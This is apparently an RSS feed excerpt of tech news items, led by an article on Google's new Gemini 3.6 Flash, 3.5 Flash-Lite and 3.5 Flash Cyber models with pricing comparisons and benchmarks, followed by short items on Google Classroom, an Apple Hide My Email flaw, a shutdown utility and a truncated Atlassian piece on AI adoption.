<content:encoded><![CDATA[<p>Google DeepMind<a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/?utm_source=x&amp;utm_medium=social&amp;utm_campaign=&amp;utm_content="> today released three new proprietary AI models</a> it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. </p><p>The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. </p><p>Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. </p><h2><b>VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)</b></h2><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.5 Flash-Lite</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$2.50</b></p></td><td><p><b>$2.80</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a><b></b></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.5</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://docs.x.ai/developers/models">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.6 Flash</b></p></td><td><p><b>$1.50</b></p></td><td><p><b>$7.50</b></p></td><td><p><b>$9.00</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Kimi K3</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k3">Moonshot AI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. </p><p>While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). </p><p>Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">separate Google blog post</a>, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> being Google's proprietary AI code bug-fixing agent released last year. </p><p>As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. </p><p>One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, <a href="https://venturebeat.com/technology/google-launches-gemini-3-1-pro-retaking-ai-crown-with-2x-reasoning">debuted back in February 2026</a>, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. </p><p>Google technical staffer Logan Kilpatrick <a href="https://x.com/OfficialLoganK/status/2079592006163349538">responded to one such inquiry on X, writing</a>: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." </p><p>Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. </p><p>If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.</p><h2><b>Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks</b></h2><p>Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the <a href="https://x.com/ArtificialAnlys/status/2079596244339707956">Artificial Analysis Index</a> maintained by the independent third-party AI benchmarking group of the same name. </p><p>In specific long-horizon software engineering benchmarks like <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. </p><p>This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. </p><p>When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.</p><p>While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."</p><p>The official model cards released by Google reveal that both <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-6-Flash-Model-Card.pdf">Gemini 3.6 Flash</a> and <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-5-Flash-Lite-Model-Card.pdf">Gemini 3.5 Flash-Lite</a> feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.</p><h2><b>Respectable benchmark performance at low cost</b></h2><p>The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. </p><p>It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. </p><p>The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.</p><p>To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. </p><p>The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.</p><h2>M<b>odels for low-cost coding, agentic, and cybersecurity use cases — respectively</b></h2><p>Google divided its new offerings into three distinct products tailored for different operational needs. </p><p>Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.</p><p>Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. </p><p>As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. <a href="https://artificialanalysis.ai/articles/gemini-3-6-flash-3-5-flash-lite-halving-time">Artificial Analysis notes</a> this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.</p><p>Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. </p><p>Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. </p><p>The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.</p><p>The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. </p><p>In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark. </p><p>Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.</p><h2><b>Commercial licensing only</b></h2><p>The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.</p><p>An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. </p><p>This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.</p><p>The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6. </p><p>In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.</p><h2><b>Looking ahead</b></h2><p>Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, </p><p>the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.</p><p>Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. </p><p>Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.</p>]]></content:encoded>
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<title><![CDATA[Redesigned Google Classroom homepage with tailored views based on user’s role]]></title>
<description><![CDATA[Soon, Google Classroom will introduce a redesigned homepage globally across all editions to help teachers, students, and administrators easily find relevant content, resources, and tools tailored to their specific roles. The updated interface transforms the homepage into a dynamic, centralized hu...]]></description>
<link>https://tsecurity.de/de/3684691/web-tipps/redesigned-google-classroom-homepage-with-tailored-views-based-on-users-role/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684691/web-tipps/redesigned-google-classroom-homepage-with-tailored-views-based-on-users-role/</guid>
<pubDate>Tue, 21 Jul 2026 21:17:35 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Soon, Google Classroom will introduce a redesigned homepage globally across all editions to help teachers, students, and administrators easily find relevant content, resources, and tools tailored to their specific roles. The updated interface transforms the homepage into a dynamic, centralized hub that more easily surfaces existing information and tools that were previously located in different areas of Classroom. Users can still access classes in the side navigation panel and a dedicated classes module on the homepage.</p><p>The new experience, which will begin rolling out on <b>July 27, 2026</b>, is personalized based on a user's role and available features:</p><p></p><ul><li><b>For teachers,</b> a new dashboard gives actionable insights, highlights student classwork interactions, tracks assignment completion, and surfaces a feature spotlight to help discover instructional tools and resources.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4z5Jr1F8pgnppJhAO67dlTGF8_s396SdXAfVwirKZRyDRNWel62ZKjkHhyem1myWeDm_W1EZqy9W0aXp8ag-Mhi0gcyRpcH3D9uW_T7XbpdHUodupn25qr0jOknsQ54WM6Zq8THkBpvrmz5XCK_Ujn61JDcQlssIER4Dm_R-f49Tdzq4lp7e_OWijIZE/s2048/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%201.png" imageanchor="1"><img border="0" data-original-height="2048" data-original-width="1684" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4z5Jr1F8pgnppJhAO67dlTGF8_s396SdXAfVwirKZRyDRNWel62ZKjkHhyem1myWeDm_W1EZqy9W0aXp8ag-Mhi0gcyRpcH3D9uW_T7XbpdHUodupn25qr0jOknsQ54WM6Zq8THkBpvrmz5XCK_Ujn61JDcQlssIER4Dm_R-f49Tdzq4lp7e_OWijIZE/s1600/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%201.png"></a></div><div><br></div><ul><li><b>For students,</b> a dedicated ‘Enrolled’ view reminds learners of coursework that is due soon and helps them manage their deadlines.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2DeMpYAsE8KjpOol-GTGgKsRfuDX_lWVbVBUuwgqjhYFPNJmrjY2PvBeYFpoD41VPtPap2B1bdgG4jy6b8-ih2SpV-A7gj2X3ak4cHe-L0Ymq0PY8DwJraldsEDBEnwasX56dzjnj_dvOSsY1RXTNFx56JvmWnRGMCBiKQVimy9Kb4JwC9F4XJ8IZwUc/s2048/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%202.png" imageanchor="1"><img border="0" data-original-height="1595" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2DeMpYAsE8KjpOol-GTGgKsRfuDX_lWVbVBUuwgqjhYFPNJmrjY2PvBeYFpoD41VPtPap2B1bdgG4jy6b8-ih2SpV-A7gj2X3ak4cHe-L0Ymq0PY8DwJraldsEDBEnwasX56dzjnj_dvOSsY1RXTNFx56JvmWnRGMCBiKQVimy9Kb4JwC9F4XJ8IZwUc/s1600/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%202.png"></a></div><div><br></div><ul><li><b>For school leaders and IT administrators, </b>the homepage provides a centralized view to monitor high-level performance analytics, access shortcuts for backend administrative settings, and discover relevant tools to support educators and staff.</li></ul><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_5pTQCpASv_YNL4r0fWvhMZJLsDay8uBJUNu3lmdHX5hVnXd2xLZ9RxGk6jOeSuqdspW4iqCa-evGdJc3zVG6vF0mA_rE1DeOsMgzGGh3xZyh5YGM-mX3LcgT4xLdXjbuex8rkHkt-YtL5KdSxJ6O-tOUmhi3jJwhwjZ5AHe3pNeKnnGHkZ_pXyJXnEA/s2048/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%203.png" imageanchor="1"><img border="0" data-original-height="2048" data-original-width="1528" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_5pTQCpASv_YNL4r0fWvhMZJLsDay8uBJUNu3lmdHX5hVnXd2xLZ9RxGk6jOeSuqdspW4iqCa-evGdJc3zVG6vF0mA_rE1DeOsMgzGGh3xZyh5YGM-mX3LcgT4xLdXjbuex8rkHkt-YtL5KdSxJ6O-tOUmhi3jJwhwjZ5AHe3pNeKnnGHkZ_pXyJXnEA/s1600/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%203.png"></a></div><p><br></p><p>Users who have multiple roles (such as a teacher taking a professional development class) can easily change their view dashboard by clicking into another role (for example, Teaching, Enrolled, or Admin). When a user loads the homepage, it returns to the previous role view.</p><p>To help users control their view and focus on what matters most to them, all new homepage modules are collapsible.</p><p><br></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMrTE36s6kLkXAffV-F1O0SzB3un4nX0Pd_lFGBuCFl2Ag9dlPY53pOSeJQQMmdn2mWYpUpSxMIN4kGLgO7NDXkiOEQz0I0cT1Bv-taqWkp5I1pmmzAcB2nonL3qz5OVwCBRpYwvpl09UCiLbnbERcpmsUontJsPtvIL2kz2SfZQCTQNVIuw3rk3Dftp0/s1800/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%204.png" imageanchor="1"><img border="0" data-original-height="1000" data-original-width="1800" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMrTE36s6kLkXAffV-F1O0SzB3un4nX0Pd_lFGBuCFl2Ag9dlPY53pOSeJQQMmdn2mWYpUpSxMIN4kGLgO7NDXkiOEQz0I0cT1Bv-taqWkp5I1pmmzAcB2nonL3qz5OVwCBRpYwvpl09UCiLbnbERcpmsUontJsPtvIL2kz2SfZQCTQNVIuw3rk3Dftp0/s1600/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%204.png"></a></div><p><br></p><p><i>Please note that not all features and views will be available to all users. Eligibility is determined by the user’s role, feature access, account type, and settings.</i></p><h3>Getting started</h3><p></p><ul><li><b>Admins: </b>There is no admin control for the new Classroom homepage. Gemini and <a href="https://blog.google/innovation-and-ai/products/gemini-notebook/notebooklm-gemini-notebook/" target="_blank">Gemini Notebook</a> features will only appear if the user is in an OU with Gemini in Classroom, Gemini app, and/or Gemini Notebook enabled. Visit the Help Center to learn about managing access to <a href="http://support.google.com/a/answer/16291887" target="_blank">Gemini in Classroom</a>, <a href="https://knowledge.workspace.google.com/admin/gemini/turn-the-gemini-app-on-or-off" target="_blank">Gemini app</a>, <a href="https://knowledge.workspace.google.com/admin/users/access/turn-notebooklm-on-or-off-for-users" target="_blank">Gemini Notebook</a>, and the option to turn these services on or off for users in the Admin console.</li><li><b>End users: </b>There is no end user setting for the new Classroom homepage. Visit the Help Center to <a href="https://support.google.com/edu/classroom/answer/17231999?hl=en&amp;ref_topic=11987016&amp;sjid=11637609375205384704-NC" target="_blank">learn more about the new Classroom homepage</a>.</li></ul><p></p><h3>Rollout pace</h3><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains:</a> Full rollout (1-3 days for visibility) starting July 27, 2026</li></ul><p></p><h3>Availability</h3><p></p><ul><li>Available to all Google Workspace customers, Workspace Individual subscribers, and users with personal Google accounts</li></ul><p></p><h3>Resources</h3><p></p><ul><li>Google Classroom Help: <a href="https://support.google.com/edu/classroom/answer/17231999?hl=en&amp;ref_topic=11987016&amp;sjid=11637609375205384704-NC" target="_blank">Navigate your Classroom Homepage</a></li><li>2026: What’s New in Google for Education: <a href="https://docs.google.com/presentation/d/1nJAZYHrAe-K0OOqZ3HA1-YrY6aNO5yOIV5MosOkaIOU/preview?slide=id.g3ef4e3366dc_69_1186#slide=id.g3ef4e3366dc_69_1186" target="_blank">Overview of Classroom Homepage</a></li></ul><p></p>]]></content:encoded>
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<title><![CDATA[Hide My Email flaw still worked two weeks after Apple's claimed fix]]></title>
<description><![CDATA[Apple says it fixed a vulnerability that could expose real addresses behind Hide My Email on or around July 3, but we reproduced the flaw two weeks after the company's claimed repair date.Apple's Hide My Email serviceThe company told 404 Media that it deployed a patch on July 3, 2026, and fully r...]]></description>
<link>https://tsecurity.de/de/3684598/ios-mac-os/hide-my-email-flaw-still-worked-two-weeks-after-apples-claimed-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684598/ios-mac-os/hide-my-email-flaw-still-worked-two-weeks-after-apples-claimed-fix/</guid>
<pubDate>Tue, 21 Jul 2026 20:15:42 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple says it fixed a vulnerability that could expose real addresses behind Hide My Email on or around July 3, but we reproduced the flaw two weeks after the company's claimed repair date.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68316-144010-IMG_0354-xl.jpg" alt="iPad screen showing iCloud settings with a centered Hide My Email popup dialog, including a blue mail icon, explanatory text, and blurred fields for generating and labeling a private email address" height="738"><span>Apple's Hide My Email service</span></div><br>The company told <em>404 Media</em> that it deployed a patch on July 3, 2026, and fully resolved the vulnerability. <em>AppleInsider</em> successfully reproduced the behavior on July 17.<br><br>Our test found that a sender who possessed a specific Hide My Email alias could reveal the real address behind it with much technical knowledge.<br><br>We've reached out to Apple about the matter. We will update when we hear back from the company on the matter.<br><br><br> <a href="https://appleinsider.com/articles/26/07/21/hide-my-email-flaw-still-worked-two-weeks-after-apples-claimed-fix?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245014?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Windows 7 Schedule Shutdown]]></title>
<description><![CDATA[If you need to schedule system shutdown on your Windows PC after a specified interval of time, WinDown is a handy tool worth trying. It is a portable, lightweight utility that lets you schedule system shutdown automatically without leaving your computer running all night or wasting energy unneces...]]></description>
<link>https://tsecurity.de/de/3684572/betriebssysteme/windows-7-schedule-shutdown/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684572/betriebssysteme/windows-7-schedule-shutdown/</guid>
<pubDate>Tue, 21 Jul 2026 20:03:18 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>If you need to schedule system shutdown on your Windows PC after a specified interval of time, WinDown is a handy tool worth trying. It is a portable, lightweight utility that lets you schedule system shutdown automatically without leaving your computer running all night or wasting energy unnecessarily. How to Schedule a System Shutdown with […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/windows-tips/windown-schedule-system-shutdown/">Windows 7 Schedule Shutdown</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
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<title><![CDATA[Atlassian: Research shows organizations should approach AI at the team level, not the individual level, to achieve true ROI]]></title>
<description><![CDATA[Presented by Atlassian Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at ...]]></description>
<link>https://tsecurity.de/de/3684451/it-nachrichten/atlassian-research-shows-organizations-should-approach-ai-at-the-team-level-not-the-individual-level-to-achieve-true-roi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684451/it-nachrichten/atlassian-research-shows-organizations-should-approach-ai-at-the-team-level-not-the-individual-level-to-achieve-true-roi/</guid>
<pubDate>Tue, 21 Jul 2026 19:06:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Atlassian </i></p><hr><p>Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>.</p><p>Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.</p><p>"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.</p><h2>Why AI speed isn’t translating into ROI</h2><p>Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.</p><p>"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.</p><p>But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.</p><p>Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.</p><p>On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it. </p><p>On culture, the 